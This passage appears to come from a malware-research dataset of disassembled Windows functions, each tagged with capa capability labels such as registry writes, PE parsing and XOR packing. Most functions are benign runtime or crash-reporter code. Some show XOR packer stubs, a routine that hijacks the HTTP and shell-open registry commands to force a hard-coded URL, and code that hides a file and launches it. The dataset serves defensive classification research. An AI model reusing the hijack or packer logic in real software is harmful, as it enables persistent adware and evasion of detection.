joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417cd0
Capabilities:
Check os version

Disassembly:
sub esp, 8
mov eax, dword [0x5fd030]
mov dword [esp + 4], 0
lea ecx, [eax + eax]
mov eax, dword [0x5fd034]
or ecx, eax
mov dword [esp], ecx
fild qword [esp]
fadd qword [0x5fd058]
fstp qword [0x5fd058]
call fcn.00417c10
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov ecx, eax
xor edx, edx
and ecx, 0xff
mov dl, ah
cmp ecx, 5
mov eax, edx
jne 0x417d2f
cmp eax, 1
jae 0x417d3f
mov dword [0x5fffc8], 0x409
add esp, 8
ret
ja 0x417d3f
mov dword [0x5fffc8], 0x409
add esp, 8
ret
mov dword [0x5fffc8], 0x7f
add esp, 8
ret
Function at 0x5f4b09
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5fd3a0
cmp edx, dword [eax]
je 0x5f4b2b
add eax, 8
inc ecx
cmp eax, 0x5fd430
jl 0x5f4b1c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5fd3a0]
jne 0x5f4c59
mov eax, dword [0x604d38]
cmp eax, 1
je 0x5f4c33
test eax, eax
jne 0x5f4b5c
cmp dword [0x5fd2cc], 1
je 0x5f4c33
cmp edx, 0xfc
je 0x5f4c59
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x5f4b93
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.005f54f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.005f5980
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x5f4bd6
lea eax, [ebp - 0x1a4]
push eax
call fcn.005f5980
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x5f9b84
push edi
call fcn.005f7850
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.005f54f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.005f5500
lea eax, [ebp - 0xa0]
push 0x5f9b64
push eax
call fcn.005f5500
push dword [esi + 0x5fd3a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.005f5500
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.005f77c4
add esp, 0x2c
pop edi
jmp 0x5f4c59
lea eax, [ebp + 8]
lea esi, [esi + 0x5fd3a4]
push 0
push eax
push dword [esi]
call fcn.005f5980
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x1f0733d5
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
mov eax, section..reloc
nop
cmp eax, 0
nop
nop
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x11fd6620
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x286f3e54
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x305d670b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3efd3620
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x22ba0bba
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4010e0
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x40290b
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x405028]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [esp + 0x1c]
push eax
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
push 0x80000000
call ebx
test eax, eax
jne 0x401256
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
push 0x81
lea ecx, [esp + 0x18]
mov dword [esp + 0x2c], 0
call dword [sym.imp.MFC80U.DLL_Ordinal_4026]
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80U.DLL_Ordinal_6161]
mov ecx, dword [esp + 0x14]
cmp dword [ecx - 0xc], 0
jne 0x401169
push str.http:__123.m345.cn__1
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80U.DLL_Ordinal_776]
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
push str._C:Program_FilesInternet_Exploreriexplore.exe___s
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c], 2
call dword [sym.imp.MFC80U.DLL_Ordinal_776]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.MFC80U.DLL_Ordinal_2311]
push edx
push eax
lea ecx, [esp + 0x18]
push ecx
call esi
mov edx, dword [esp + 0x1c]
mov eax, dword [edx - 0xc]
add esp, 0xc
add eax, eax
push eax
push 0
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80U.DLL_Ordinal_2460]
mov ecx, dword [esp + 0x20]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push eax
push 1
push 0
push 0x403898
push ecx
call edi
lea edx, [esp + 0x1c]
push edx
push str.http_shellopencommand
push 0x80000000
call ebx
test eax, eax
lea ecx, [esp + 0x18]
jne 0x40123c
push str._C:Program_FilesInternet_Exploreriexplore.exe___s
call dword [sym.imp.MFC80U.DLL_Ordinal_776]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
call esi
mov eax, dword [esp + 0x1c]
mov eax, dword [eax - 0xc]
add esp, 0xc
lea ecx, [eax + eax]
push ecx
push 0
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80U.DLL_Ordinal_2460]
mov edx, dword [esp + 0x20]
push eax
push 1
push 0
push 0x403898
push edx
call edi
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
Function at 0x4016d0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x402a2d
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x405028]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
call fcn.004010e0
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
lea ecx, [esp + 8]
mov dword [esp + 0x20], 0
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
push 0x82
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call dword [sym.imp.MFC80U.DLL_Ordinal_4026]
lea ecx, [esp + 8]
call dword [sym.imp.MFC80U.DLL_Ordinal_6161]
mov eax, dword [esp + 8]
cmp dword [eax - 0xc], 0
jne 0x40174c
push 0x40355c
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC80U.DLL_Ordinal_776]
lea esi, [esp + 0x14]
call fcn.004012d0
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
mov ecx, eax
mov byte [esp + 0x28], 2
call fcn.00401a80
add esp, 8
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 3
call dword [sym.imp.MFC80U.DLL_Ordinal_896]
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
mov ecx, esi
mov byte [esp + 0x20], 1
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x403898
call dword [sym.imp.MFC80U.DLL_Ordinal_283]
push ecx
mov byte [esp + 0x28], 4
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x14], esp
push eax
call dword [sym.imp.MFC80U.DLL_Ordinal_280]
mov byte [esp + 0x28], 1
call fcn.004013c0
add esp, 8
test eax, eax
jle 0x401858
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC80U.DLL_Ordinal_280]
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push edx
call esi
test eax, eax
je 0x401812
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401812
mov ecx, dword [esp + 0xc]
or eax, 2
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC80U.DLL_Ordinal_280]
mov eax, dword [esp + 0xc]
push eax
call esi
test eax, eax
je 0x40184e
mov ecx, dword [esp + 0xc]
push 1
push 0
push 0
push ecx
push 0x4036d0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea ecx, [esp + 8]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret

Function at 0x402235
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x405028]
jne 0x40223f
repz ret
jmp fcn.00402688
Function at 0x403d48
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x439740]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [esp + 0xc]
push edi
xor ecx, ecx
mov ebx, 0x80000001
push ecx
push eax
push ecx
push 2
push ecx
push ecx
push ecx
push str.SoftwareClassesApplications
push ebx
call esi
push dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
push ecx
push eax
push ecx
push 2
push 1
push ecx
push ecx
push str.SoftwareClassesApplicationscrashreporter.exe
push ebx
call esi
test eax, eax
jne 0x403de2
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.IsHostApp
push dword [esp + 0x24]
call esi
push ebx
push ebx
push ebx
push ebx
push str.NoOpenWith
push dword [esp + 0x24]
call esi
push ebx
push ebx
push ebx
push ebx
push str.NoStartPage
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
mov esi, dword [0x43ae64]
mov eax, esi
shl eax, 2
push eax
call fcn.004111b2
xor edi, edi
mov ebx, eax
pop ecx
test esi, esi
jle 0x403e5b
mov ecx, dword [0x43ae6c]
push dword [ecx + edi*4]
lea ecx, [esp + 0x30]
call fcn.0040784b
push ecx
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x1c]
call fcn.00406589
cmp dword [esp + 0x30], 0x10
mov eax, dword [esp + 0x1c]
pop ecx
pop ecx
jae 0x403e2e
lea eax, [esp + 0x14]
push eax
call fcn.0042af9a
pop ecx
push 0
push 1
lea ecx, [esp + 0x1c]
mov dword [ebx + edi*4], eax
call fcn.004094bf
push 0
push 1
lea ecx, [esp + 0x34]
call fcn.004098d4
inc edi
cmp edi, dword [0x43ae64]
jl 0x403dfc
mov edx, ebx
call fcn.0040326e
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00410549
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4040e6
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edx
push eax
push 2
push 0
mov edi, ecx
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x404124
push str.SubmitReport
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call esi
lea eax, [ebp - 4]
push eax
push 2
push 0
push edi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40414f
push str.SubmitReport
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call esi
lea eax, [ebp - 8]
push eax
push edi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x404187
cmp byte [ebp + 8], al
push 4
setne al
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 4
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404662
Capabilities:
Set registry value

Disassembly:
sub esp, 0x82c
mov eax, dword [0x439740]
xor eax, esp
mov dword [esp + 0x824], eax
push ebx
push ebp
push esi
push edi
push 0x400
lea eax, [esp + 0x34]
mov dword [esp + 0x18], edx
push eax
mov ebx, ecx
push 0x3f1
push ebx
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040784b
cmp dword [0x43bb80], 8
mov esi, 0x43bb6c
mov eax, dword [0x43bb6c]
jae 0x4046b9
mov eax, esi
lea ecx, [esp + 0x10]
push ecx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x404707
cmp dword [esp + 0x2c], 8
mov ecx, dword [esp + 0x18]
jae 0x4046dd
lea ecx, [esp + 0x18]
mov eax, dword [esp + 0x28]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.Email
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 1
lea ecx, [esp + 0x20]
call fcn.004098d4
cmp dword [0x43bb80], 8
mov edi, dword [0x43bb6c]
jae 0x404725
mov edi, esi
mov ebp, dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 0x3f2
push ebx
call ebp
test eax, eax
mov edx, str.IncludeURL
mov ecx, edi
setne al
movzx eax, al
push eax
call fcn.004040e6
cmp dword [0x43bb80], 8
mov edi, dword [0x43bb6c]
pop ecx
jae 0x40475a
mov edi, esi
push 0x3f0
push ebx
call ebp
test eax, eax
mov edx, str.EmailMe
mov ecx, edi
setne al
movzx eax, al
push eax
call fcn.004040e6
cmp dword [0x43bb80], 8
pop ecx
jb 0x404787
mov esi, dword [0x43bb6c]
push 0x3ef
push ebx
call ebp
test eax, eax
mov edx, str.SubmitCrashReport
mov ecx, esi
setne al
movzx eax, al
push eax
call fcn.004040e6
pop ecx
push dword [esp + 0x14]
push ebx
call dword [sym.imp.USER32.dll_EndDialog]
mov ecx, dword [esp + 0x834]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00410549
add esp, 0x82c
ret
Function at 0x4047c9
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x84c
mov eax, dword [0x439740]
xor eax, esp
mov dword [esp + 0x844], eax
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0x3f6
push ebx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetDC]
xor ebp, ebp
mov esi, eax
push ebp
push ebp
push 0x31
push edi
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x404813
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
lea eax, [esp + 0x40]
mov edx, ebx
push eax
mov ecx, edi
call fcn.00404400
mov dword [esp], 0x400
lea eax, [esp + 0x54]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [esp + 0x50]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bp
jne 0x40483b
sub ecx, edx
lea eax, [esp + 0x14]
push eax
sar ecx, 1
lea eax, [esp + 0x54]
push ecx
push eax
push esi
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
test eax, eax
je 0x40494d
mov esi, dword [esp + 0x48]
sub esi, dword [esp + 0x40]
mov dword [esp + 0x10], esi
cmp dword [esp + 0x14], esi
jl 0x40494d
fild dword [esp + 0x14]
push ecx
push ecx
fstp dword [esp + 0x2c]
fld dword [esp + 0x2c]
fild dword [esp + 0x18]
fstp dword [esp + 0x18]
fdiv dword [esp + 0x18]
fstp dword [esp + 0x18]
fld dword [esp + 0x18]
fstp qword [esp]
call fcn.0042dd40
fstp dword [esp + 0x18]
fld dword [esp + 0x18]
pop ecx
pop ecx
call fcn.0042dc90
imul eax, dword [esp + 0x18]
mov ebp, dword [esp + 0x44]
sub ebp, dword [esp + 0x4c]
add ebp, eax
test ebp, ebp
jle 0x40494d
push 1
push eax
push esi
push dword [esp + 0x50]
push dword [esp + 0x50]
push edi
call dword [sym.imp.USER32.dll_MoveWindow]
call fcn.00408d00
movzx eax, byte [0x43bb9e]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x3ed
push eax
push ecx
lea eax, [esp + 0x34]
push eax
call fcn.0040d1c1
movzx eax, byte [0x43bb9e]
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x3f4
push eax
push ecx
lea eax, [esp + 0x44]
push eax
call fcn.0040d1c1
mov edx, ebp
mov ecx, ebx
call fcn.0040443e
push 0xa
mov esi, 0x4364d8
pop edi
movzx eax, byte [0x43bb9e]
push eax
push esi
push ecx
lea eax, [esp + 0x3c]
push eax
call fcn.0040d1c1
add esi, 4
dec edi
jne 0x404933
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00410549
add esp, 0x84c
ret
Function at 0x404966
Capabilities:
Create thread

Disassembly:
sub esp, 0x24
mov eax, dword [0x439740]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
push edi
mov esi, 0x3ef
mov edi, ecx
push esi
push edi
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
test eax, eax
jne 0x404999
xor edx, edx
mov ecx, edi
call fcn.00404662
jmp 0x404ad2
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
xor ebp, ebp
push ebp
push esi
push edi
call ebx
mov esi, dword [sym.imp.USER32.dll_EnableWindow]
push eax
call esi
push ebp
push 0x3ee
push edi
call ebx
push eax
call esi
push ebp
push 0x3f3
push edi
call ebx
push eax
call esi
push ebp
push 0x3f2
push edi
call ebx
push eax
call esi
push ebp
push 0x3f0
push edi
call ebx
push eax
call esi
push ebp
push 0x3f1
push edi
call ebx
push eax
call esi
push ebp
push 0x3ed
push edi
call ebx
push eax
call esi
push ebp
push 0x3f4
push edi
call ebx
push eax
call esi
mov edx, str.ReportDuringSubmit2
lea ecx, [esp + 0x14]
call fcn.00403ff1
cmp dword [eax + 0x14], 8
jb 0x404a19
mov eax, dword [eax]
push eax
push 0x3f6
push edi
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push ebp
push 1
lea ecx, [esp + 0x1c]
call fcn.004098d4
mov ecx, edi
call fcn.004047c9
push 0xffff0000
push 0xffffffffffffffff
push 0x465
mov esi, 0x3f7
push esi
push edi
call ebx
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
push edi
call ebx
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor ebx, ebx
mov dword [0x43bb28], edi
mov esi, 0x43bb2c
mov dword [0x43bba0], ebx
cmp esi, 0x43bb84
je 0x404ab9
mov eax, dword [0x43bb2c]
mov ecx, esi
push dword [eax + 4]
call fcn.0040ca10
mov eax, dword [0x43bb2c]
mov byte [esp + 0x10], bl
push dword [esp + 0x10]
mov dword [eax + 4], eax
mov eax, dword [0x43bb2c]
push ecx
mov ecx, esi
mov dword [eax], eax
mov eax, dword [0x43bb2c]
mov dword [eax + 8], eax
mov dword [0x43bb30], ebx
call fcn.0040d164
push ebx
push ebx
push 0x43bb28
push 0x40451c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x43bba0], eax
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00410549
add esp, 0x24
ret
Function at 0x404ae5
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xc4
mov eax, dword [0x439740]
xor eax, esp
mov dword [esp + 0xbc], eax
mov ecx, dword [0x43bb04]
xor eax, eax
push ebx
push ebp
push esi
push edi
push 7
mov word [esp + 0x70], ax
xor ebp, ebp
mov eax, dword [0x43bb08]
mov ebx, ebp
pop esi
sub eax, ecx
mov dword [esp + 0x80], esi
push 0x18
cdq
pop edi
idiv edi
mov dword [esp + 0x7c], ebp
test eax, eax
je 0x404bf6
mov edi, ebp
lea edx, [edi + ecx]
push ecx
lea ecx, [esp + 0xb8]
call fcn.004064ca
mov esi, eax
mov dword [esp], 0x4360b0
call fcn.00401233
pop ecx
push eax
push ecx
push ecx
mov ecx, esi
call fcn.0040d532
push eax
lea ecx, [esp + 0xa0]
call fcn.0040787a
mov esi, 0x4360a8
push esi
call fcn.00401233
pop ecx
push eax
push esi
lea ecx, [esp + 0xa4]
call fcn.0040afc2
push eax
lea ecx, [esp + 0x88]
call fcn.0040787a
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0x78]
call fcn.0040af2b
push ebp
push 1
lea ecx, [esp + 0x8c]
call fcn.004098d4
push ebp
push 1
lea ecx, [esp + 0xa4]
call fcn.004098d4
push ebp
push 1
lea ecx, [esp + 0xbc]
call fcn.004098d4
mov eax, dword [0x43bb08]
inc ebx
mov ecx, dword [0x43bb04]
sub eax, ecx
push 0x18
pop esi
cdq
add edi, esi
idiv esi
cmp ebx, eax
jb 0x404b33
mov esi, dword [esp + 0x80]
push 0x44
pop edi
push edi
lea eax, [esp + 0x24]
push ebp
push eax
call fcn.00415aa0
mov dword [esp + 0x2c], edi
xor eax, eax
lea edi, [esp + 0x1c]
xor ebx, ebx
stosd dword es:[edi], eax
inc ebx
add esp, 0xc
mov dword [esp + 0x4c], ebx
mov word [esp + 0x50], bx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [esp + 0x6c]
cmp esi, 8
jae 0x404c2f
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x24]
push ecx
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404c5d
push dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x14]
call esi
push ebp
push ebx
lea ecx, [esp + 0x74]
call fcn.004098d4
mov ecx, dword [esp + 0xcc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00410549
add esp, 0xc4
ret
Function at 0x40509a
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x7e4
mov eax, dword [0x439740]
xor eax, esp
mov dword [esp + 0x7e0], eax
push ebx
push ebp
push esi
push edi
push 0x1f5
lea eax, [esp + 0x408]
mov esi, ecx
push eax
push esi
mov ebp, edx
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push 0xb0
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [esp + 0x14]
xor esi, esi
mov ecx, dword [esp + 0x10]
mov edi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub eax, ecx
je 0x405142
push eax
lea eax, [esp + 0x408]
lea eax, [eax + ecx*2]
push eax
lea eax, [esp + 0x20]
push 0x1f5
push eax
call fcn.004108f3
mov eax, dword [esp + 0x24]
add esp, 0x10
sub eax, dword [esp + 0x10]
add eax, eax
cmp eax, 0x3ea
jae 0x40518a
push esi
push esi
push esi
push esi
xor ecx, ecx
push 0xffffffffffffffff
mov word [esp + eax + 0x2c], cx
lea eax, [esp + 0x2c]
push eax
push esi
push 0xfde9
call ebx
lea edi, [eax - 1]
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
lea eax, [esp + 0x418]
push eax
push esi
push 0xfde9
call ebx
lea esi, [eax - 1]
xor eax, eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push ebp
push eax
push 0xfde9
call ebx
mov ecx, dword [esp + 0x7f0]
sub esi, edi
